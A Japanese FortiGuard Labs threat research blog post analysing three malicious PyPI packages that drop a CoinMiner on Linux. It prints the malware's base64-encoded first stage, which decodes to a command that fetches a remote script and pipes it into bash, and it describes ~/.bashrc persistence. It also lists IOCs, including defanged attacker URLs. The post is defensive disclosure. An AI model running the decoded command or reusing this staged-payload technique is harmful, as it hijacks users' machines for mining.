FortiGuard Labs 脅威リサーチ
影響を受けるプラットフォーム: Linux
影響を受けるユーザー: 該当する不正パッケージをインストールしているLinuxユーザー
影響: デバイスパフォーマンスの低下
深刻度: 高
2023年12月5日、FortiGuardのAI活用OSSマルウェア検知システムは、3つの興味深いPyPI(Python Package Index)パッケージを発見しました。これらのパッケージは、Linuxデバイスでの初回使用時にCoinMinerの実行ファイルを展開します。FortiGuard Labsは過去のマルウェアデータベースを利用して、これらのパッケージのIOC(Indicators of Compromise:侵害指標)に、同年9月に発見された「culturestreak」PyPIパッケージとの類似点があることを特定しました。「culturestreak」の攻撃パターンの概要は、すでにCheckmarxのブログで紹介されています。本ブログでは、「culturestreak」との類似点とそこから進化した点を中心に、これら3つの新型パッケージの攻撃ステージを分析していきます。
3つの不正パッケージの名前はmodularseven-1.0、driftme-1.0、catme-1.0です。パッケージはすべて「sastra」という同じ作成者から発信されています。sastraは最初の不正パッケージをアップロードする直前に、PyPIアカウントを作成していました。
すべてのパッケージで同じ攻撃手法が使用されているため、ここではdriftme-1.0を例にとって攻撃ステージを解説します。これらのパッケージは、過去の「culturestreak」パッケージの手法を踏襲しており、不正なコードをリモートURLでホストすることでペイロードを隠蔽し、コードを検知されにくくしています。ペイロードはその後、各ステージで段階的に展開され、不正な活動を実行します。
不正な活動は、__init__.pyファイル内の「import」ステートメントによってトリガーされます。
processor.pyモジュールには、不正なペイロードの第1ステージが含まれています。
processing() 関数を呼び出すことで、以下の文字列がシェルコマンドにデコードされます。
Y3VybCBodHRwczovL3BhcGljdWxvLm5ldC91bm1pLnNoIHwgYmFzaA==
このシェルコマンドは、curlを使用して所定のURLからコンテンツを取得します。次に、そのコンテンツをBashシェルにパイプで直接渡し、Bashシェルが以下のスクリプトを実行します。
「unmi.sh」スクリプトを調べると、不正なペイロードの第2ステージが含まれていることがわかりました。
攻撃者は「unmi.sh」スクリプトを利用して、ユーザーのデバイスに2つの重要なアイテムをダウンロードします。
1つ目のアイテムは「config.json」です。これは、インストールされるプログラムの実行に必要なコンフィグレーションファイルです。このファイルには、暗号通貨マイニングの設定が記述されています。具体的には、マイニングアルゴリズム(randomX)、マイニング処理のためのデバイスリソースの設定、所定のマイニング「プール」、受取人のウォレットアカウントなどが指定されています。注目すべきは、攻撃者が「init-avx2」機能を無効にしている点です。これは恐らく、旧式のデバイスとの互換性を維持するためと思われます。
2つ目の重要なペイロードコンポーネントは、CoinMinerの実行ファイルです。
コンフィグレーションファイルと同様に、この実行ファイルも次のリモートアドレスでホストされています。
hxxps://gitlab.com/ajo9082734/Mine/-/raw/main/X
リモートURLから実行ファイルがダウンロードされ、実行可能としてマークされると、攻撃者は「nohup」コマンドを使ってバックグラウンドでそのファイルを実行します。これにより、セッションが終了してもこのプロセスは継続されます。最も巧妙な点は、こうしたすべての改ざんが~/.bashrcファイルで行われているため、ユーザーが新しいBashシェルセッションを開始すると、必ず不正な活動が再実行されることです。
このプロセスで取得されるCoinMinerのELFファイルは、セキュリティコミュニティにとって目新しいものではありません。このファイルがVirusTotal(VT)に初めてアップロードされたのは2021年です。VTでは現在、多数のベンダーがこのペイロードを不正なファイルとして認識しています。
このブログで取り上げた3つのパッケージは、IOCが「culturestreak」とよく似ています。
「culturestreak」と比較すると、3つのパッケージは存在の隠蔽、および不正機能の持続の両面で戦略が強化されています。重要な強化点は、ステージが追加され、リモートサーバーの「unmi.sh」ファイルに不正操作のコマンドが保存されるようになったことです。この戦術によってPyPIパッケージ内のコードが最小化されるため、セキュリティソリューションによる検知を回避できる確率が高まります。また、「unmi.sh」スクリプトをホストしているサーバーを無効にするだけで、不正なコードの発覚を抑制することもできます。
加えて、このマルウェアは不正なコマンドを~/.bashrcファイルに挿入します。そのため、ユーザーのデバイスでマルウェアの永続化と再実行が可能になり、不正操作の継続時間を延長することができます。この戦略により、ユーザーのデバイスを攻撃者の利益のために長期間かつ気づかれずに悪用できるようになります。
これら3つのパッケージで確認された顕著な特徴は、悪用のプロセスを隠蔽し長期化させるために、攻撃者が戦略を継続的に改良している点です。このブログで取り上げた基本戦術では、不正なワークフロー全体を小さなステージに分割し、それらを段階的に展開しています。セキュリティコミュニティでは、かすかな不正の兆候を察知する機能が重要になってきています。
さらにこの機能は、未確認または不審な発信元から届いたコードやパッケージを徹底的に検査し、想定される脅威について十分な情報を得ることの重要性を喚起する役目も果たします。
FortiGuardアンチウイルスは、このレポートで特定した悪意のあるファイルを、以下の不正プログラムとして検知します。
unmi.sh: Linux/Agent.4EFF!tr
modularseven-1.0/modularseven/processor.py: Python/Agent.5337!tr
driftme-1.0/driftme/processor.py: Python/Agent.5337!tr
catme-1.0/catme/processor.py: Python/Agent.5337!tr
tmp/X: Riskware/CoinMiner
FortiGuardアンチウイルスサービスは、FortiGate、FortiMail、FortiClient、FortiEDRによってサポートされます。最新のアンチウイルスアップデートをお使いのお客様は、脅威から保護されています。
FortiGuard Webフィルタリングサービスは、このレポートで取り上げたダウンロードURLを「不正」として検知しブロックします。
FortiDevSec SCAスキャナは、このレポートで解説したパッケージも含め、不正なパッケージを検知します。ユーザーのプロジェクトのテストフェーズでは、これらのパッケージが依存関係として機能する可能性があり、FortiDevSec SCAスキャナはそうした依存関係がユーザーの製品に影響するのを防ぎます。
組織が上記の不正パッケージやその他のサイバーセキュリティ攻撃を受けていると思われる場合は、フォーティネットのグローバルFortiGuardインシデントレスポンスチームまでご連絡ください。
unmi.sh
070128a5b4e1aecb61b59f3f8ef2602e63cd1e5357f1314080a7c8a4960b0bee
modularseven-1.0/modularseven/processor.py
4b439d8cabc5e4ad593a26065e6d374efdddf41c8d91744b077a69812df170d2
driftme-1.0/driftme/processor.py
687fb012479e563be63e02718eb7be7ee81974193c952777ca94234c95b25115
catme-1.0/catme/processor.py
235b1ad3d21e7330d421c9a03b6b822fcdddacaa707bed9d67dabd43d4401fc6
tmp/X
df0211bf54174b5766366eecfb0a04c4a59346478e1507b6685fbaed6b2d2aca
XLM:GA2DR34VWSXPIE2JFDUZFEIROMXRFYUYNB2XD5JWKPD2TWELUJQZ4WCW.WORKER
hxxps[:]//papiculo[.]net/unmi[.]sh
hxxps[:]//papiculo[.]net/unmiconfig[.]json
hxxps[:]//gitlab[.]com/ajo9082734/Mine/-/raw/main/X